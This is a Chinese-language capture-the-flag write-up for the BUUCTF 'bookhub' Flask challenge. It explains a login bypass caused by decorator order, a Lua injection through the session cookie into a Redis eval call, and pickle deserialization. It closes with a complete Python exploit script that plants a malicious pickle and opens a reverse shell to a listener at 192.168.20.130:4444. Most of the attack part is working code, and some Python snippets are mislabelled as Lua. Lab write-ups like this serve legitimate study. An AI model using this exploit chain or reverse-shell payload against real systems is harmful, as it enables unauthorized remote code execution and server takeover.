一、靶场地址
靶机位于,BUUCTF的web类中bookhub题目(目前已经迁移到新网址)。BookHub 是一个 Flask 应用,涉及的漏洞包括装饰器顺序错误、Lua 脚本注入、pickle序列化问题等。
2026年在做这道老题目时候,觉得难度有点大,参考了其他作者写的笔记,但和这个靶场已经对对应不上了。
二、扫描探测
靶机开启,我们进行目录扫描,发现有源码泄露,在根目录下有个www.zip的文件,结合网站提示(运行在debug模式),下载下来后进行源码分析。扫描发现并没有开启其他端口,也没有ip限制等之前笔记中所提到的措施。
三、问题分析
进入user.py文件,我们发现了多个url网站路径,其中有一条有问题:
if app.debug:
@user_blueprint.route('/admin/system/')
@login_required
def system(): ...
@user_blueprint.route('/admin/system/change_name/', methods=['POST'])
@login_required
def change_name(): ...
@login_required # ← 注意:在 route 上面
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session(): ...
很显然,这里的/admin/system/refresh_session/存在问题,python装饰器顺序错误,导致login_required被绕过,在没登录的情况下,可以进入def refresh_session()
- refresh_session()存在Lua 脚本注入
进入 `refresh_session` 函数体后,核心逻辑:
sessionid = flask.session.sid # 来自 cookie
prefix = app.config['SESSION_KEY_PREFIX'] # "bookhub:session:"
if flask.request.form.get('submit', None) == '1':
rds.eval(rf'''
local function has_value (tab, val) ... end
local inputs = {{ "{prefix}{sessionid}" }} -- 注入点
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
`sessionid` 直接由 f-string 插值进 Lua 字符串字面量,没有任何转义。而 `flask.session.sid` = cookie 里 `bookhub-session` 的值,因此 cookie 可控引起 Lua 可控,从而具备远程代码执行的可能。
cookie 值原封不动成为 sid,我们通过修改cookie值,使得目标 Lua 片段(替换后)成为:
Lua
local inputs = { "bookhub:session:<SID>" }
- `\"` 闭合字符串与 table:`local inputs = { "bookhub:session:" }`
- 注入 urlDecode 函数:把 `%xx` 还原成字节(因为 pickle 是二进制,不能直接放 Lua 字符串,需先 URL 编码再解码)
- `redis.call("set","bookhub:session:qaq",urlDecode("<URL编码的pickle>"))` ------ 写木马 key
- `inputs = { "bookhub:session:qaq" }` ------ 重定义 inputs,让下面的 del 循环跳过 qaq(保护木马)
- `--` 注释掉原句尾巴 `*" }`,避免语法错
完整的sid为:
Lua
sid = ('\\" } local function urlDecode(s) '
's=string.gsub(s,\'%%(%x%x)\',function(h) '
'return string.char(tonumber(h, 16)) end) return s end ') + \
('redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) '
'inputs = { \\"bookhub:session:qaq\\" } --') % payload
Flask 在每个请求开始时自动调 `open_session`。只要带 `bookhub-session=qaq` 访问任意路由,就会 `redis.get("bookhub:session:qaq")` 取到 写入的木马 %s,再 `pickle.loads` 序列化执行。
四、pickle opcode 与 reduce
`reduce` 返回 `(callable, args)`,pickle 序列化时存成 `c <module> <callable>` + 参数 + `R`(REDUCE) 指令;反序列化时执行 `callable(*args)` 还原对象。
Lua
class exp(object):
def __reduce__(self):
code = ("import socket,subprocess,os\n"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
"s.connect((\"192.168.20.130\",4444))\n"
"os.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\n"
"subprocess.call([\"/bin/sh\",\"-i\"])\n")
return (exec, (code,))
把这个类进行序列化,生成载荷payload:
Lua
payload = urlencode(pickle.dumps([exp()], protocol=2))
注意,这里要制定protocol=2,因为本机 Python 3.12 `pickle.dumps` 默认用 **protocol 5**,而靶机容器内是较旧 Python(≤3.7,最高支持 protocol 4)。`pickle.loads` 遇到 protocol 5 抛 `ValueError: unsupported pickle protocol`,被 `open_session` 的 `except` 吞掉,返回空 session,表面无任何异常。
五、最终exp
python
# -*- coding: utf-8 -*-
# 用法: nc -lvnp 4444 然后 python exp.py 192.168.20.130 4444
import re, sys, pickle, requests as req
from urllib.parse import quote as urlencode
URL = "http://192.168.20.128:10008/"
LISTEN_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.130"
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444
class exp(object):
def __reduce__(self):
code = (
"import socket,subprocess,os\n"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
"s.connect((\"{ip}\",{port}))\n"
"os.dup2(s.fileno(),0)\n"
"os.dup2(s.fileno(),1)\n"
"os.dup2(s.fileno(),2)\n"
"subprocess.call([\"/bin/sh\",\"-i\"])\n"
).format(ip=LISTEN_IP, port=LISTEN_PORT)
return (exec, (code,))
def main():
# protocol=2 兼容靶机旧版 Python(默认 protocol 5 会被静默 except 吞掉)
payload = urlencode(pickle.dumps([exp()], protocol=2))
# Lua 注入 sid:闭合字符串 -> urlDecode -> redis.set 木马 key -> 重定义 inputs 防 del
sid = ('\\" } local function urlDecode(s) '
's=string.gsub(s,\'%%(%x%x)\',function(h) '
'return string.char(tonumber(h, 16)) end) return s end ') + \
('redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) '
'inputs = { \\"bookhub:session:qaq\\" } --') % payload
headers = {"Content-Type": "application/x-www-form-urlencoded",
"Cookie": 'bookhub-session="%s"' % sid}
# 1) 取 CSRF(顺便让 flask_session 把恶意 sid 落盘,无副作用)
res = req.get(URL + "login/", headers=headers, timeout=10)
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
res.content.decode("utf-8", errors="replace"))
headers["X-CSRFToken"] = r[0]
# 2) refresh_session:装饰器绕过 + Lua 注入写木马 key
res = req.post(URL + "admin/system/refresh_session/",
data={"submit": "1"}, headers=headers, timeout=10)
assert '"success"' in res.text, res.text
# 3) 带 qa=qaq 访问任意路由 -> open_session -> pickle.loads -> exec -> 反弹shell
# 这一步请求会超时(subprocess.call 阻塞 worker),属正常
try:
req.get(URL + "login/", headers={"Cookie": "bookhub-session=qaq"}, timeout=3)
except Exception:
pass
if __name__ == "__main__":
main()